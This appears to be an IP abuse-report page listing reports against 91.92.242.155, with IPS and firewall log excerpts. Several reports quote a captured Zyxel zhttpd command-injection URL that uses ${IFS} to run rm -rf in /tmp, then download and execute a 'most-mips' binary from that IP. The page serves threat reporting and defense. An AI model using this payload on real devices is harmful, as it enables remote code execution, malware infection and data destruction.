This IP address has been reported a total of
140
times from
46 distinct
sources.
91.92.242.155 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
"GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/mo ...
show more"GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel;"
show less
Exploited Host
Web App Attack
Anonymous
Policy Type policy Attack Name Zyxel.zhttpd.Webserver.Command.Injection
Source Port 38522 Destinati ...
show morePolicy Type policy Attack Name Zyxel.zhttpd.Webserver.Command.Injection
Source Port 38522 Destination Port 443
URL /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel; Direction outgoing
Attack ID 53200 Profile LINUX_IPS
Reference http://www.fortinet.com/ids/VID53200 Incident Serial No. 423570092
Message applications3: Zyxel.zhttpd.Webserver.Command.Injection Threat Score 50
Threat 4096 Threat Level critical
show less
Web App Attack
Anonymous
/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mi ...
show more/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel;
show less
Exploited Host
Anonymous
/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mi ...
show more/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel;
show less
\/bin\/zhttpd\/${IFS}cd${IFS}\/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http:\/\/91.92.242.155\/ ...
show more\/bin\/zhttpd\/${IFS}cd${IFS}\/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http:\/\/91.92.242.155\/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}.\/most-mips${IFS}zyxel;
show less
spam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbf ...
show morespam or other hacking activities reported by webbfabriken security servers
Attack reported by Webbfabiken Security API - WFSecAPI
show less
Web Spam
Anonymous
URL /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/mos ...
show moreURL /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel; Direction outgoing
Attack ID 53200 Profile LINUX_IPS
Reference http://www.fortinet.com/ids/VID53200 Incident Serial No. 336961130
Message applications3: Zyxel.zhttpd.Webserver.Command.Injection Threat Score 50
Threat 4096 Threat Level critical
show less
Jun 6 07:35:24 SRC=91.92.242.155 PROTO=TCP SPT=55806 DPT=2083 SYN
Jun 6 07:35:25 SRC=91.92.242.155 ...
show moreJun 6 07:35:24 SRC=91.92.242.155 PROTO=TCP SPT=55806 DPT=2083 SYN
Jun 6 07:35:25 SRC=91.92.242.155 PROTO=TCP SPT=55806 DPT=2083 SYN
Jun 6 07:35:27 SRC=91.92.242.155 PROTO=TCP SPT=55806 DPT=2083
...
show less